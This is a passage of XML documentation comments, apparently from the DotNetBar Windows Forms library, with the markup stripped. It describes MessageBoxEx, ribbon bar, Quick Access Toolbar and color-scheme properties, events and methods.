MdiSystemItem. + + Provides arguments for the operation. + + + + Required designer variable. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Gets or sets whether Text supports and renders text markup. Default value is true. + + + + + Gets or sets whether divider panel that divides message box buttons and text content is visible. Default value is true. + + + + + Gets or sets the anti-alias setting for text-pane. + + + + + Enumeration of available common system strings. + + + + + Represents the class that provides MessageBox like functionality with the styled Office 2007 dialog and text markup support. + + + + + Displays a message box with specified text. + + The text to display in the message box. + One of the DialogResult values. + + + + Displays a message box in front of the specified object and with the specified text. + + The IWin32Window the message box will display in front of. + The text to display in the message box. + One of the DialogResult values. + + + + Displays a message box with specified text and caption. + + The text to display in the message box. + The text to display in the title bar of the message box. + One of the DialogResult values. + + + + Displays a message box with specified text and caption. + + The IWin32Window the message box will display in front of. + The text to display in the message box. + The text to display in the title bar of the message box. + One of the DialogResult values. + + + + Displays a message box with specified text, caption, and buttons. + + The text to display in the message box. + The text to display in the title bar of the message box. + One of the MessageBoxButtons values that specifies which buttons to display in the message box. + One of the DialogResult values. + + + + Displays a message box with specified text, caption, and buttons. + + The IWin32Window the message box will display in front of. + The text to display in the message box. + The text to display in the title bar of the message box. + One of the MessageBoxButtons values that specifies which buttons to display in the message box. + One of the DialogResult values. + + + + Displays a message box with specified text, caption, buttons, and icon. + + The text to display in the message box. + The text to display in the title bar of the message box. + One of the MessageBoxButtons values that specifies which buttons to display in the message box. + One of the MessageBoxIcon values that specifies which icon to display in the message box. + One of the DialogResult values. + + + + Displays a message box with specified text, caption, buttons, and icon. + + The IWin32Window the message box will display in front of. + The text to display in the message box. + The text to display in the title bar of the message box. + One of the MessageBoxButtons values that specifies which buttons to display in the message box. + One of the MessageBoxIcon values that specifies which icon to display in the message box. + One of the DialogResult values. + + + + Displays a message box with the specified text, caption, buttons, icon, and default button. + + The text to display in the message box. + The text to display in the title bar of the message box. + One of the MessageBoxButtons values that specifies which buttons to display in the message box. + One of the MessageBoxIcon values that specifies which icon to display in the message box. + One of the MessageBoxDefaultButton values that specifies the default button for the message box. + One of the DialogResult values. + + + + Displays a message box with the specified text, caption, buttons, icon, and default button. + + The IWin32Window the message box will display in front of. + The text to display in the message box. + The text to display in the title bar of the message box. + One of the MessageBoxButtons values that specifies which buttons to display in the message box. + One of the MessageBoxIcon values that specifies which icon to display in the message box. + One of the MessageBoxDefaultButton values that specifies the default button for the message box. + One of the DialogResult values. + + + + Displays a message box with the specified text, caption, buttons, icon, and default button. + + The IWin32Window the message box will display in front of. + The text to display in the message box. + The text to display in the title bar of the message box. + One of the MessageBoxButtons values that specifies which buttons to display in the message box. + One of the MessageBoxIcon values that specifies which icon to display in the message box. + One of the MessageBoxDefaultButton values that specifies the default button for the message box. + Indicates value for Message Box dialog TopMost property. + One of the DialogResult values. + + + + Occurs when text markup link on Message Box is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets or sets whether MessageBoxEx is using Windows System API function to retrieve the localized strings used by MessageBoxEx. Set this to false + if you experience issues when using MessageBoxEx under certain conditions. + + + + + Gets or sets whether MessageBoxEx form has Windows Vista Glass enabled if running on + Windows Vista with Glass enabled. Default value is true. + + + + + Gets or sets the anti-alias setting for message box text. + + + + + Gets or sets the text color for the message box text. Default value is Color.Empty which indicates that system colors are used. + + + + + Gets or sets whether divider panel that divides message box buttons and text content is visible. Default value is true. + + + + + Gets or sets the message box start position when Owner is not specified. Default value is CenterScreen. + + + + + Gets or sets the message box start position when Owner is specified. Default value is CenterParent. + + + + + Gets or sets whether message box text renders text markup. Default value is true. + + + + + Summary description for Office2003RibbonTabItemPainter. + + + + + Paints state of the button, either hot, pressed or checked + + + + + + + + Paints background of docked bar. + + Context information + + + + Paints background of floating bar. + + Context information + + + + Paints background of popup bar. + + Context information + + + + Gets or sets color table used by renderer. + + + + + Gets or sets color table used by renderer. + + + + + Gets or sets color table used by renderer. + + + + + Represents Office 2007 style MdiSystemItem painter + + + + + Gets or sets color table used by renderer. + + + + + Represents base class for Ribbon Control painting. + + + + + Paints controls background + + + + + Paints form caption background + + + + + Paints form caption text when ribbon control is displaying form caption + + + + + Paints the background of quick access toolbar. + + + + + Paints controls background + + + + + Paints form caption background + + + + + Paints the background of quick access toolbar. + + + + + RibbonTabItem painter for Office 2007 style + + + + + Represents the Office Application Button displayed in the top-left corner of the Ribbon Control. + + + + + Processes the Escape key when Application Button is hosting the backstage tab and uses it to close the tab if open. + This method is called from ProcessDialogKey method of Office2007RibbonForm. + + Key data + true if key was used to close backstage tab + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Gets or sets whether control set on BackstageTab property is used on application menu popup. + + + + + Gets or sets the backstage tab that is displayed instead of popup menu. + + + + + Summary description for PainterFactory. + + + + + Forces the creation of the objects inside of factory. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Loads the items for the customization into the ribbon control. All Ribbon Bars on the ribbon are enumerated and items + are added if they have CanCustomize=true. + + Ribbon control to enumerate. + + + + Loads the items for the customization from MetroTab control. Registered MetroToolbar controls are enumerated and items + are added if they have CanCustomize=true. + + MetroTab control that holds references to known MetroToolbars. + + + + Gets reference to the internal Quick Access Toolbar Customization panel. + + + + + Represents the item that provides Quick Access Toolbar customization. + + + + + Creates new instance of CustomizeItem object. + + + + + Returns copy of CustomizeItem item + + + + + Overridden. Recalculates the size of the item. + + + + + Gets localized tooltip text for this instance of the item. + + Tooltip text. + + + + Called when mouse hovers over the customize item. + + + + + Gets or sets whether Customize menu item is visible. + + + + + Gets/Sets informational text (tooltip) for the item. + + + + + Represents the Quick Access Toolbar customization panel which can be used on the custom QAT customization dialogs + so customization of Quick Access Toolbar can be reused. + + + + + Gets reference to the internal ItemPanel control that displays the commands for selected category. + + + + + Gets reference to the ItemPanel control that displays the Quick Access Toolbar Items. + + + + + Gets reference to the button that perform addition of commands to the Quick Access Toolbar. + + + + + Gets reference to the button that perform removal of commands from the Quick Access Toolbar. + + + + + Gets reference to the combo box control that holds all categories. + + + + + Gets reference to the combo box categories label control. + + + + + Gets reference to the check box that changes the placement of the Quick Access Toolbar. + + + + + Required designer variable. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Loads the items for the customization into the ribbon control. All Ribbon Bars on the ribbon are enumerated and items + are added if they have CanCustomize=true. + + Ribbon control to enumerate. + + + + Loads the items for the customization from MetroTab registered toolbars. All registered Toolbars are enumerated and items + are added if they have CanCustomize=true. + + MetroTab control to enumerate. + + + + Gets or sets the value of data changed flag. + + + + + Represents the stand-alone Quick Access Toolbar control + + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + Indicates whether GlobalName property is used for searching. + + + + + Returns the first item that matches specified name. + + Item name to look for. + + + + + Gets/Sets the visual style for items and color scheme. + + + + + Returns collection of items on a bar. + + + + + Represents a single ribbon container control. + + + + + Creates new accessibility instance. + + Reference to AccessibleObject. + + + + Closes the RibbonBar overflow popup if control is in overflow mode and displays the overflow popup that shows complete content of the control. + + + + + Resets style to default value. Used by windows forms designer. + + + + + Invokes the LaunchDialog event to execute default launch dialog action. + + + + + Called when item on popup container is right-clicked. + + Instance of the item that is right-clicked. + + + + Invokes DialogLauncherMouseEnter event. + + + + + Invokes DialogLauncherMouseLeave event. + + + + + Invokes DialogLauncherMouseHover event. + + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the first item that matches specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + Indicates whether GlobalName property is used for searching. + + + + + Resets cached content size. Content size is cached to improve performance of the control when control is + switched into overflow mode displaying a single button. If you change content of Rendering, hide/show items or + add new items you will need to call this method to erase cached value and allow the full Rendering size to be calculated. + + + + + Returns size of the control based on current content size. + + Size based on content. + + + + Sets the height of the control to the automatically calculated height based on content. + + + + + Returns automatically calculated height of the control given current content. + + Height in pixels. + + + + Returns automatically calculated width of the control given current content. + + Width in pixels. + + + + Gets the bounds of the title. + + + + + Resets TitleStyle property to its default value. Used by Windows Forms designer for design-time support. + + + + + Resets TitleStyle property to its default value. Used by Windows Forms designer for design-time support. + + + + + Occurs when dialog launcher button in title bar is clicked. Use DialogLauncherVisible property to show the button in title bar. + + + + + Occurs when overflow button for control is created because control size is below the minimum size required to display complete content of the control. + This event allows you to get access to the internal overflow button that is created and change it's properties if required. + + + + + Occurs after overflow button setup is complete and all items contained by this control are moved to it. + + + + + Occurs before overflow button is destroyed. + + + + + Occurs when mouse enters dialog launcher button. + + + + + Occurs when mouse leaves dialog launcher button. + + + + + Occurs when mouse hovers over the dialog launcher button. + + + + + Occurs when mouse is pressed over the dialog launcher button. + + + + + Gets or sets parent button when on QAT. + + + + + Gets or sets whether this RibbonBar is on QAT. + + + + + Gets or sets whether Office 2007 Design Guidelines specification for positioning KeyTips is used. + + + + + Gets or sets the Accessible name for the Dialog Launcher button + + + + + Specifies the background style of the control when mouse is over the control. Style specified here will be applied to the + BackgroundStyle. + + + + + Gets or sets image that is used as dialog luncher button in ribbon title bar. Default value is null which indicates that + default appearance for the button is used. + + + + + Gets or sets image that is used as dialog luncher button when mouse is over the button. + Note that if this property is set you also must set the DialogLauncherButton property. Images set to both + properties must have same size. Default value is null which indicates that + default appearance for the button is used. + + + + + Gets or sets maximum text length for automatic overflow button text. When overflow button is created due to the + reduced size of the control text for the button can be specified using OverflowButtonText property. If + text is not specified RibbonBar.Text property is used as overflow button text. In that case + this property specifies maximum length of the text to display on the button. Default value is 25. You can set + this property to 0 to use complete text regardless of length. + + + + + Gets or sets resize order index of the control. When control is parented to RibbonPanel control (which is the case when control is + used as part of RibbonControl) index specified here indicates the order in which controls that are part of the same panel + are resized. Lower index value indicates that control should be resized later when size needs to be reduced or earlier when size needs + to be increased. Default value is 0. + + + + + Gets or sets whether automatic overflow handling is enabled. When overflow is enabled if control is resized below the + size that is needed to display its complete content overflow button is created and all content is moved to the overflow button + popup. Control will only display overflow button when in this state and user can click overflow button to display the actual + content of the control. + Default value is true. + + + + + Gets or sets the text for overflow button that is created when ribbon bar size is reduced so it cannot display all its content. + When control is resized so it cannot display its content overflow button is created which is displayed on face of the control. + Complete content of the control is then displayed on popup toolbar when user clicks overflow button. + + + + + Gets or sets the Image for overflow button that is created when ribbon bar size is reduced so it cannot display all its content. + When control is resized so it cannot display its content overflow button is created which is displayed on face of the control. + Complete content of the control is then displayed on popup toolbar when user clicks overflow button. This Image is also used when + RibbonBar is added to the Quick Access Toolbar to identify the RibbonBar button. + + + + + Gets or sets whether dialog launcher button is visible in title of the ribbon. Default value is false. + + + + + Gets or sets default layout orientation inside the control. You can have multiple layouts inside of the control by adding + one or more instances of the ItemContainer object and changing it's LayoutOrientation property. + + + + + Gets or sets spacing in pixels between items. Default value is 1. + + + + + Gets or sets whether items contained by container are resized to fit the container bounds. When container is in horizontal + layout mode then all items will have the same height. When container is in vertical layout mode then all items + will have the same width. Default value is true. + + + + + Gets or sets the item alignment when container is in horizontal layout. Default value is Left. + + + + + Gets or sets the item vertical alignment. Default value is Top. + + + + + Returns collection of items on a bar. + + + + + Gets or sets whether ribbon bar can be customized by end user i.e. added to Quick Access Toolbar. + + + + + Returns reference to the overflow button that is used by control. + + + + + Gets whether control is in overflow state or not. + + + + + Gets or sets whether ButtonItem objects hosted on control are resized to reduce the space consumed by ribbon bar when required. + Default value is true. + + + + + Indicates whether auto-sizing for RibbonBar includes ribbon bar title width so in case when ribbon bar title width is wider than ribbon bar width the + width of the ribbon bar will always be at least the title bar width so complete title text can be displayed. + + + + + Gets/Sets the visual style for items and color scheme. + + + + + Gets or sets the KeyTip for the dialog launcher button. + + + + + Gets or sets whether ribbon bar title is visible. Default value is true. + + + + + Specifies the style of the title of the control. + + + + + Specifies the style of the title of the control when mouse is over the control. + + + + + Gets the title bounds. + + + + + Gets or sets whether control changes its background when mouse is over the control. + + + + + Gets or sets whether external ButtonItem object is accepted in drag and drop operation. UseNativeDragDrop must be set to true in order for this property to be effective. + + + + + Gets or sets whether native .NET Drag and Drop is used by control to perform drag and drop operations. AllowDrop must be set to true to allow drop of the items on control. + + + + + + Defines event handler for overflow button events. + + Control that is hosting the overflow button. + Event arguments + + + + Represents event arguments for overflow button events. + + + + + Creates new instance of the class and initializes it. + + Reference to overflow button. + + + + Returns reference to the overflow button that is used by control. + + + + + Represents class for RibbonBar Accessibility support. + + + + + Creates new instance of the object and initializes it with owner control. + + Reference to owner control. + + + + Returns number of child objects. + + Total number of child objects. + + + + Returns reference to child object given the index. + + 0 based index of child object. + Reference to child object. + + + + Represents the container for RibbonBar objects that will be merged into the MDI parent ribbon control. + + + + + Represents panel used by RibbonTabItem as a container panel for the control. + + + + + Creates new instance of the panel. + + + + + Scrolls the RibbonBar controls to the right one step if there is more of the controls on the panel that can fit into the available space. + + + + + Scrolls the RibbonBar controls one step to the left. + + + + + Resets the panel scroll position. + + + + + Gets or sets whether default control layout is used instead of Rendering layout for RibbonBar controls positioning. By default + internal layout logic is used so proper resizing of Ribbons can be performed. You can disable internal layout by setting this property + to true. + Default value is false. + + + + + Indicates whether style of the panel is managed by tab control automatically. + Set this to true if you would like to control style of the panel. + + + + + Gets or sets TabItem that this panel is attached to. + + + + + Gets or sets whether last RibbonBar is stretched to fill available space inside of the panel. Default value is false. + + + + + Gets or sets which edge of the parent container a control is docked to. + + + + + Gets or sets the size of the control. + + + + + Gets or sets the coordinates of the upper-left corner of the control relative to the upper-left corner of its container. + + + + + Gets or sets a value indicating whether the control is displayed. + + + + + Gets or sets which edges of the control are anchored to the edges of its container. + + + + + Removes any RibbonBar objects that were merged into the Ribbon control. + + Reference to ribbon control to remove RibbonBar objects from. + + + + Merges RibbonBar objects from this container into the Ribbon control. + + Reference to ribbon control to remove RibbonBar objects from. + + + + Raises the BeforeRibbonMerge event. + + + + + Raises the AfterRibbonMerge event. + + + + + Raises the BeforeRibbonUnmerge event. + + + + + Raises the AfterRibbonUnmerge event. + + + + + Occurs before the RibbonBar objects from container are merged into the Ribbon control. + + + + + Occurs after the RibbonBar objects are merged into the Ribbon control. + + + + + Occurs after the RibbonBar objects are removed from the Ribbon control. + + + + + + Gets whether RibbonBar controls are merged into the RibbonControl. + + + + + Gets or sets whether RibbonTab item the RibbonBar controls are added to when merged is automatically activated (selected) after + controls are merged. Default value is true. + + + + + Gets or sets whether merge functionality is enabled for the container. Default value is true. + + + + + Gets or sets the Ribbon Tab text for the tab that will be created when ribbon bar objects from this container are merged into the ribbon. + + + + + Gets or sets the Key Tips access key or keys for the Ribbon Tab. Use KeyTips property + when you want to assign the one or more letters to be used to access an item. For example assigning the FN to KeyTips property + will require the user to press F then N keys to select an item. Pressing the F letter will show only keytips for the items that start with letter F. + + + + + Gets or sets the predefined color for the ribbon tab that is created when ribbon bar controls are merged into the ribbon. + Default value is eRibbonTabColor.Default + + + + + Gets or sets the name of RibbonTabItem object that already exists on Ribbon control into which the RibbonBar controls are merged. + If name is not specified new RibbonTabItem is created and RibbonBar controls are added to it. + + + + + Gets or sets the name of the RibbonTabItemGroup the new Ribbon Tab Item that is created will be added to. The RibbonTabItemGroup + must be created and added to RibbonControl.TabGroups collection. + + + + + Gets or sets the insertion index for the ribbon tab item that is created when ribbon bars are merged into the ribbon control. + Default value is -1 which means that ribbon tab item is appended to the existing ribbon tab items. + + + + + Gets or sets whether panel automatically provides shadows for child controls. + + + + + Represents Rendering control composed of two parts, RibbonStrip and multiple RibbonBar controls per strip. + + + + + Gets the name of the QAT Customize Item which is used to display the QAT Customize Dialog box. + + + + + Gets the name of the Add to Quick Access Toolbar context menu item. + + + + + Gets the name of the Remove from Quick Access Toolbar context menu item. + + + + + Gets the name of the QAT placement change context menu item. + + + + + Gets the name of the Minimize Ribbon Item which is used to minimize the ribbon. + + + + + Gets the name of the Maximize Ribbon Item which is used to maximize the ribbon. + + + + + Gets the name of the label displayed on Quick Access Toolbar customize popup menu. + + + + + Gets the string that is used as starting name for the frequently used QAT menu items created when QAT Customize menu is displayed. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Sets the height of the control to the automatically calcualted height based on content. + + + + + Sets the height of the control to the automatically calcualted height based on content. + + + + + Performs the setup of the RibbonPanel with the current style of the Ribbon Control. + + Panel to apply style changes to. + + + + Creates new Rendering Tab at specified position, creates new associated panel and adds them to the control. + + Specifies the text displayed on the tab. + Specifies the name of the tab + Specifies the position of the new tab inside of Items collection. + New instance of the RibbonTabItem that was created. + + + + Creates new Rendering Tab and associated panel and adds them to the control. + + Specifies the text displayed on the tab. + Specifies the name of the tab + New instance of the RibbonTabItem that was created. + + + + Recalculates layout of the control and applies any changes made to the size or position of the items contained. + + + + + Returns Control region if any when control is hosted by Office2007RibbonForm + + + + + + Occurs when text markup link is clicked. + + + + + Resets DefaultGroupFont property to default value null. + + + + + Raises the BeforeRibbonPanelPopupClose event. + + + + + Raises the AfterRibbonPanelPopupClose event. + + + + + Raises the BeforeRibbonPanelPopup event. + + + + + + Raises the BeforeRibbonPanelPopup event. + + + + + + Sets up timer that watches when active window changes. + + + + + Called after change of active window has been detected. SetupActiveWindowTimer must be called to enable detection. + + + + + Releases and disposes the active window watcher timer. + + + + + Displays the active ribbon panel on the popup if ribbon control is collapsed. + + Reference to the object that was cause of the event. This is provided to the BeforeRibbonPanelPopupClose event if an menu needs to be closed. + Indicates the event source. This is provided to the BeforeRibbonPanelPopupClose event if an menu needs to be closed. + + + + Closes the Ribbon tab menu with source set to null and event source set to Code. + + + + + Closes the Ribbon Menu if one is currently displayed. + + + + + Suspends the form layout. + + + + + Suspends the form layout. + + + + + Suspends the form layout. + + + + + Selects first visible RibbonTab. + + Returns true if selection is performed otherwise false. + + + + Called when right-mouse button is pressed over RibbonBar + + Reference to RibbonBar object. + + + + Called when right-mouse button is pressed over RibbonStrip + + Reference to RibbonStrip object. + + + + Displays popup customize context menu for given customization object. + + Object that should be customized, usually an instance of BaseItem. + Indicates whether customize menu is displayed over ribbon strip + + + + Raises the QatPlacementChanged event. + + Event arguments. + + + + Removes an item from the Quick Access Toolbar. + + Reference to the item that is already part of Quick Access Toolbar. + + + + Adds an instance of base type BaseItem or RibbonBar to the Quick Access Toolbar. Note that this method creates + new instance of the item or an representation of the item being added and adds that to the Quick Access Toolbar. + + Reference to the item to add, must be an BaseItem type or RibbonBar type. + + + + Raises the BeforeCustomizeMenuPopup event. + + Event arguments + + + + Raises the BeforeAddItemToQuickAccessToolbar event. + + Event arguments. + + + + Shows the quick access toolbar customize dialog. + + + + + Applies the Quick Access Toolbar customization changes made on QatCustomizePanel to the Ribbon Control Quick Access Toolbar. Note that QatCustomizePanel.DataChanged property indicates whether user made any changes to the data on the panel. + + Reference to the QatCustomizePanel + + + + Raises the AfterQatDialogChangesApplied event. + + + + + Returns the ribbon Application Button. + + reference to Application Button or null if button is not found. + + + + Occurs when Quick Access Toolbar placement is changed, i.e. below or above the Ribbon. + + + + + Occurs just before the customize popup menu is displayed and provides the ability to cancel the menu display as well + as to add/remove the menu items from the customize popup menu. + + + + + Occurs before an item is added to the quick access toolbar as result of user action. This event provides ability to + cancel the addition of the item by setting the Cancel=true of event arguments. + + + + + Occurs before an item is removed from the quick access toolbar as result of user action. This event provides ability to + cancel the addition of the item by setting the Cancel=true of event arguments. + + + + + Occurs when DotNetBar is looking for translated text for one of the internal text that are + displayed on menus, toolbars and customize forms. You need to set Handled=true if you want + your custom text to be used instead of the built-in system value. + + + + + Occurs when Item on ribbon tab strip or quick access toolbar is clicked. + + + + + Occurs before Quick Access Toolbar dialog is displayed. This event provides the opportunity to cancel the showing of + built-in dialog and display custom customization dialog. You can also set the Dialog property of the event arguments to + the custom dialog you want used instead of the DotNetBar system customization dialog. + + + + + Occurs after the Quick Access Toolbar dialog is closed. + + + + + Occurs after any changes done on the Quick Access Toolbar dialog are applied to the actual Quick Access Toolbar. + + + + + Occurs after selected Ribbon tab has changed. You can use + RibbonControl.SelectedRibbonTabItem + property to get reference to newly selected tab. + + + + + Occurs before selected RibbonPanel is displayed on popup while ribbon is collapsed. This event gives you the opportunity to cancel the popup of the ribbon panel. + + + + + Occurs after selected RibbonPanel is displayed on popup while ribbon is collapsed. + + + + + Occurs before RibbonPanel popup is closed and provides opportunity to cancel the closing. Note that if you cancel closing of ribbon popup you are + responsible for closing the popup. + + + + + Occurs after RibbonPanel popup is closed. + + + + + Occurs when text markup link from TitleText markup is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Occurs after Expanded property has changed. + + + + + Gets the collection of the Quick Access Toolbar Frequently used commands. You should add existing buttons to this collection that + you already have on the RibbonBar controls or on the application menu. The list will be used to construct the frequently used + menu that is displayed when Customize Quick Access Toolbar menu is displayed and it allows end-user to remove and add these + frequently used commands to the QAT directly from this menu. + Note that items you add here should not be items that are already on Quick Access Toolbar, i.e. in RibbonControl.QuickToolbarItems collection. + + + + + Gets or sets whether KeyTips functionality is enabled. Default value is true. + + + + + Gets or sets whether merge functionality is enabled for the control. Default value is true. + + + + + Gets or sets whether control height is set automatically based on the content. Default value is false. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + + Gets or sets the Context menu bar associated with the this control which is used as part of Global Items feature. The context menu + bar assigned here will be used to search for the items with the same Name or GlobalName property so global properties can be propagated when changed. + You should assign this property to enable the Global Items feature to reach your ContextMenuBar. + + + + + Gets or sets whether custom caption and quick access toolbar provided by the control is visible. Default value is false. + This property should be set to true when control is used on Office2007RibbonForm. + + + + + Gets or sets the font for the form caption text when CaptionVisible=true. Default value is NULL which means that system font is used. + + + + + Gets or sets the explicit height of the caption provided by control. Caption height when set is composed of the TabGroupHeight and + the value specified here. Default value is 0 which means that system default caption size is used. + + + + + Gets or sets the indent of the ribbon strip. The indent setting is useful when control is used with caption visible and the Office 2007 + style start button. The indent specified here will move the ribbon strip so the start button does not overlap the tabs. + Value of this property is used only when CaptionVisible = true. + Default value is 46. + + + + + Gets or sets the font used by the ribbon strip. + + + + + Gets or sets whether mouse over fade effect is enabled. Default value is true. + + + + + Gets or sets the font that is used to display Key Tips (accelerator keys) when they are displayed. Default value is null which means + that control Font is used for Key Tips display. + + + + + Collection of RibbonTabItemGroup items. Groups are assigned optionally to one or more RibbonTabItem object through the RibbonTabItem.Group + property to visually group tabs that belong to same functions. These tabs should be positioned next to each other. + + + + + Gets or sets the height in pixels of tab group line that is displayed above the RibbonTabItem objects that have group assigned. + Default value is 10 pixels. To show tab groups you need to assign the RibbonTabItem.Group property and set TabGroupsVisible=true. + + + + + Gets or sets whether tab group line that is displayed above the RibbonTabItem objects that have group assigned is visible. + Default value is false. To show tab groups you need to assign the RibbonTabItem.Group property and set TabGroupsVisible=true. Use TabGroupHeight + property to control height of the group line. + + + + + Gets or sets default font for tab groups. This font will be used if font is not specified by group style element. + + + + + Specifies the background style of the control. + + + + + Gets or sets the currently selected RibbonTabItem. RibbonTabItems are selected using the Checked property. Only a single + RibbonTabItem can be selected (Checked) at any given time. + + + + + Returns reference to internal ribbon strip control. + + + + + Returns collection of items on a bar. + + + + + Returns collection of quick toolbar access and caption items. + + + + + Gets/Sets the visual style of the control. If you are changing style to Office 2007 or Office 2010 use RibbonPredefinedColorSchemes.ChangeStyle method instead to ensure + all controls are switched properly. + + + + + Indicates whether control automatically updates Padding property for the ribbon and RibbonPanel based on style. Default value is true. + + + + + Gets or sets the Office 2007 Renderer global Color Table. Setting this property will affect all controls on the form that are using Office 2007 global renderer. + + + + + Gets whether collapsed ribbon is displaying the selected ribbon panel as popup. + + + + + Gets or sets whether mouse wheel scrolls through the ribbon tabs. Default value is true. + + + + + Gets or sets whether control is expanded or not. When control is expanded both the tabs and the tab ribbons are visible. When collapsed + only tabs are visible. + + + + + Gets or sets whether control is collapsed when RibbonTabItem is double clicked and expanded when RibbonTabItem is clicked. + Default value is true. + + + + + Gets or sets whether control is collapsed/expanded when Ctrl+F1 key is clicked. + Default value is true. + + + + + ImageList for images used on Items. Images specified here will always be used on menu-items and are by default used on all Bars. + + + + + ImageList for medium-sized images used on Items. + + + + + ImageList for large-sized images used on Items. + + + + + Gets or sets a value indicating whether the user can give the focus to this control using the TAB key. Default value is false. + + + + + Indicates the position of the BackgroundImage + + + + + Specifies whether the MDI system buttons are displayed in ribbon strip when MDI Child window is maximized. + + + + + Gets or sets whether Ribbon control employs the Windows Vista Glass support when available. This is managed automatically by Ribbon Control and + no setting is necessary on your part. + + + + + Indicates Quick Access Toolbar height when positioned below the Ribbon. Default value of 0 indicates auto-height. + + + + + Gets or sets whether control can be customized and items added by end-user using context menu to the quick access toolbar. + Caption of the control must be visible for customization to be enabled. Default value is true. + + + + + Gets or sets whether external implementation for ribbon bar and menu item customization will be used for customizing the ribbon control. When set to true + it enables the displaying of RibbonBar and menu item context menus which allow customization. You are responsible for + adding the menu items to context menu to handle all aspects of item customization. See "Ribbon Control Quick Access Toolbar Customization" topic in help file under How To. + Default value is false. + + + + + Gets or sets whether end-user customization of the placement of the Quick Access Toolbar is enabled. User + can change the position of the Quick Access Toolbar using the customize menu. Default value is true. + + + + + Gets or sets whether customize dialog is used to customize the quick access toolbar. You can handle the EnterCustomize event + to display your custom dialog instead of built-in dialog for customization. Default value is true. + + + + + Gets or sets the categorization mode for the items on Quick Access Toolbar customize dialog box. Default value categorizes + items by the ribbon bar they appear on. + + + + + Gets or sets whether Quick Access toolbar is positioned below the ribbon. + + + + + Gets or sets the Quick Access Toolbar layout description. You can use the value obtained from this property to save + the customized Quick Access Toolbar into registry or into any other storage object. You can also set the saved layout description back + to restore user customize layout. + + + + + Gets or sets whether Quick Access Toolbar has been customized by end-user. You can use value of this property to determine + whether Quick Access Toolbar layout that can be accessed using QatLayout property should be saved. + + + + + Gets the reference to the ribbon localization object which holds all system text used by the component. + + + + + Provides data for RibbonBar rendering events. + + + + + Gets or sets the reference to Graphics object. + + + + + Gets or sets the part bounds. + + + + + Gets or sets the reference to RibbonBar. + + + + + Gets or sets whether mouse over state should be painted for the ribbon bar part. + + + + + Gets or sets whether mouse is pressed over the ribbon part. + + + + + Gets or sets the region that defines the content bounds. When background is rendered the renderer should set this property + to define the content clip. + + + + + Creates new instance of the object and initializes it with default values. + + Reference to Graphics object. + Bounds of the part to be rendered. + Reference to ribbon bar. + + + + Represents the class that stores text used by ribbon control only for localization purposes. + + + + + Gets or sets the title text of the Quick Access Toolbar Customize dialog form. + + + + + Gets or sets the text of the "Place Quick Access Toolbar below the Ribbon" check-box on the Quick Access Toolbar Customize dialog form. + + + + + Gets or sets the text of the Choose commands from label on the Quick Access Toolbar Customize dialog form. + + + + + Gets or sets the text of the Remove button on the Quick Access Toolbar Customize dialog form. + + + + + Gets or sets the text of the Add button on the Quick Access Toolbar Customize dialog form. + + + + + Gets or sets the text of the OK button on the Quick Access Toolbar Customize dialog form. + + + + + Gets or sets the text of the Cancel button on the Quick Access Toolbar Customize dialog form. + + + + + Gets or sets the text that is used on context menu used to customize Quick Access Toolbar. + + + + + Gets or sets the text that is used on context menu used to customize Quick Access Toolbar. + + + + + Gets or sets the text that is used on context menu used to customize Quick Access Toolbar. + + + + + Gets or sets the text that is used on Quick Access Toolbar customize menu label. + + + + + Gets or sets the text that is used on context menu used to change placement of the Quick Access Toolbar. + + + + + Gets or sets the text that is used on context menu used to change placement of the Quick Access Toolbar. + + + + + Gets or sets the text that is used on context menu item used to minimize the Ribbon. + + + + + Gets or sets the text that is used on context menu item used to maximize the Ribbon. + + + + + Represents ribbon overflow button. + + + + + Gets or sets the ribbon bar control overflow button is displayed on. + + + + + Represents predefined color schemes for ribbon controls. + + + + + Applies default gray color scheme to background and title. + + Reference to object. + + + + Applies orange color scheme to background and title. + + Reference to object + + + + Apply Office 2003 color scheme to background and title. + + Reference to object + + + + Applies Office 2003 color scheme to ribbon control background. + + Reference to object. + + + + Applies Gray color scheme to ribbon control background. + + Reference to object. + + + + Applies Office 2007 color table to ribbon control background. + + Reference to object. + + + + Applies Office 2007 Luna blue color scheme to the Ribbon Bar. + + Reference to object. + + + + Applies specified style to Ribbon control and all other controls that are managed by the ribbon control. + This method is useful for example when switching the color tables for Office 2007 renderer. Once + the GlobalManager.Renderer color table is changed you can call this method to apply color table + changes to the Ribbon Control and other controls managed by it. + + RibbonControl to set the style on. + Visual style to apply. + + + + Applies specified visual style to the RibbonBar control. + + RibbonBar control to set the style on. + Visual style to apply. + + + + Applies current color scheme and layout settings to the container which acts as top-level file menu container. + Applies to Office 2007 style only. + + Container to apply style to. + + + + Applies current color scheme and layout properties to the two column menu container used by the top-level file menu. + Applies to Office 2007 style only. + + Container to apply style to. + + + + Applies current color scheme and layout properties to the first column menu container used by the top-level file menu. + This column usually contains menu items. + Applies to Office 2007 style only. + + Container to apply style to. + + + + Applies current color scheme and layout properties to the first column menu container used by the top-level file menu. + This column usually contains most recently used list of files or documents. + Applies to Office 2007 style only. + + Container to apply style to. + + + + Applies current color scheme and layout properties to the bottom menu container used by the top-level file menu. + This container usually contains Options and Exit buttons. + Applies to Office 2007 style only. + + Container to apply style to. + + + + Changes the Office 2007 color table for all DotNetBar controls on the open forms that are tracked by Application.OpenForms collection. You can use this function for example to + apply Black color scheme to all DotNetBar control on all open forms. The color table will be changed only for controls that + have Office 2007 style. Any other style will be unchanged. + + Color table to select and apply. + + + + Applies current Office 2007 style color table set on 